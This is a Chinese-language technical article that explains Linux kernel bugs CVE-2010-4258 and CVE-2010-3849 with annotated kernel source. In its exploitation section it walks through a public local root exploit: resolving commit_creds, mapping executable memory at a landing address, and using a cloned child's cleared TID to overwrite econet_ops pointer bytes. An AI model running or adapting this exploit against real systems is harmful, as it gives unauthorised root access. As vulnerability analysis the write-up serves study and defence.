/*
本文章由 莫灰灰 編寫，轉載請註明出處。
作者：莫灰灰 郵箱： [email protected]
*/
一. 漏洞簡介
CVE-2010-4258這個漏洞很有意思，主要思路是如果通過clone函數去創建進程，並且帶有CLONE_CHILD_CLEARTID標誌，那麼進程在退出的時候，可以造成內核任意地址寫0的bug。PoC代碼利用了多個漏洞來達到權限提升的目的。
二. 前置知識 (進程創建、退出)
1.當fork或者clone一個進程在的時候， copy_process執行如下操作：
static struct task_struct *copy_process(unsigned long clone_flags,
unsigned long stack_start,
struct pt_regs *regs,
unsigned long stack_size,
int __user *child_tidptr,
struct pid *pid,
int trace)
{
p->set_child_tid = (clone_flags & CLONE_CHILD_SETTID) ? child_tidptr : NULL;
/*
* Clear TID on mm_release()
*/
p->clear_child_tid = (clone_flags & CLONE_CHILD_CLEARTID) ? child_tidptr: NULL;
}2.應用層調用clone函數，並傳遞CLONE_CHILD_CLEARTID標誌，則child_tidptr指針就會被賦值給子進程的clear_child_tid
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, child_tidptr);/*
* If we're exiting normally, clear a user-space tid field if
* requested. We leave this alone when dying by signal, to leave
* the value intact in a core dump, and to save the unnecessary
* trouble, say, a killed vfork parent shouldn't touch this mm.
* Userland only wants this done for a sys_exit.
*/
if (tsk->clear_child_tid) {
if (!(tsk->flags & PF_SIGNALED) &&
atomic_read(&mm->mm_users) > 1) {
/*
* We don't check the error code - if userspace has
* not set up a proper pointer then tough luck.
*/
put_user(0, tsk->clear_child_tid);
sys_futex(tsk->clear_child_tid, FUTEX_WAKE,
1, NULL, NULL, 0);
}
tsk->clear_child_tid = NULL;
}4.put_user其實是一個宏，具體是__put_user_check函數，它會將tsk->clear_child_tid的值置爲0
#define __put_user_check(x,ptr,size) \
({ \
long __pu_err = -EFAULT; \
__typeof__(*(ptr)) __user *__pu_addr = (ptr); \
__typeof__(*(ptr)) __pu_val = x; \
if (likely(access_ok(VERIFY_WRITE, __pu_addr, size))) \
__put_user_size(__pu_val, __pu_addr, (size), \
__pu_err); \
__pu_err; \
})#define access_ok(type,addr,size) _access_ok((unsigned long)(addr),(size))
int _access_ok(unsigned long addr, unsigned long size)
{
if (!size)
return 1;
if (!addr || addr > (0xffffffffUL - (size - 1)))
goto _bad_access;
if (segment_eq(get_fs(), KERNEL_DS))
return 1;
if (memory_start <= addr && (addr + size - 1) < memory_end)
return 1;
_bad_access:
pr_debug("Bad access attempt: pid[%d] addr[%08lx] size[0x%lx]\n",
current->pid, addr, size);
return 0;
}if (segment_eq(get_fs(), KERNEL_DS))
return 1;
# define get_fs() (current_thread_info()->addr_limit)
如果get_fs() = KERNEL_DS，那麼_access_ok檢查始終返回1.
三. 前置知識（無效地址訪問異常）
每當我們訪問一個無效地址的時候，系統便會執行do_page_fault去生成異常日誌，結束異常進程等。
int do_page_fault(struct pt_regs *regs, unsigned long address,
unsigned int write_access, unsigned int trapno)
{
// ......
die("Oops", regs, (write_access << 15) | trapno, address);
do_exit(SIGKILL);
}
接下來看看CVE-2010-3849這個漏洞，它主要是一個0地址訪問異常漏洞，msg->msg_name可以由用戶空間控制，因此可以是個NULL值。接下來的saddr->cookie;這句調用就會造成0地址訪問異常。
static int econet_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t len)
{
struct sock *sk = sock->sk;
struct sockaddr_ec *saddr=(struct sockaddr_ec *)msg->msg_name;
eb->cookie = saddr->cookie;
}四. 漏洞利用
1.獲取需要用到的函數地址
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
econet_ioctl = get_kernel_sym("econet_ioctl");
econet_ops = get_kernel_sym("econet_ops");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");2.申請一塊新進程的棧空間
if(!(newstack = malloc(65536))) {
printf("[*] Failed to allocate memory.\n");
return -1;
}3.處理好需要映射的地址，比較關鍵
// econet_ops中保存了各個econet函數的地址指針，
// 10 * sizeof(void *)到達econet_ioctl的下一個函數地址
// 再-1，那麼清零的時候是清掉了econet_ioctl下個函數地址的高24字節和econet_ioctl函數的高8字節
target = econet_ops + 10 * sizeof(void *) - OFFSET;
// 清掉econet_ioctl函數的高8字節
landing = econet_ioctl << SHIFT >> SHIFT;
// landing按頁對齊，map了2個頁的內存
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
if ((long)payload == -1) {
rintf("[*] Failed to mmap() at target address.\n");
return -1;
}
// 將提權代碼拷貝到landing
memcpy((void *)landing, &trampoline, 1024);可以調用查看下系統最低映射的地址，我這裏是65536
4.clone進程
// trigger用來觸發CVE-2010-3849漏洞，是一個0地址訪問異常
int trigger(int * fildes)
{
int ret;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
if(ret < 0) {
printf("[*] Failed to set Econet address.\n");
return -1;
}
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
/* Shouldn't get here... */
exit(0);
}
// clone進程，子進程調用trigger觸發0地址訪問的漏洞，進而將target指向的地址清0
// 即清掉了econet_ioctl函數地址的高8字節
clone((int (*)(void *))trigger,
(void *)((unsigned long)newstack + 65536),
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
&fildes, NULL, NULL, target);5.最後ioctl函數觸發底層的econet_ioctl函數執行，而econet_ioctl函數的高8字節已經被我們清零了，所以會調用到我們的map地址中，進而觸發提權代碼獲得root權限
sleep(1);
printf("[*] Triggering payload...\n");
ioctl(fildes[2], 0, NULL);參考文章：
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4258
http://www.exploit-db.com/exploits/15704/
http://hi.baidu.com/wzt85/item/2467d70f893700133a53eed9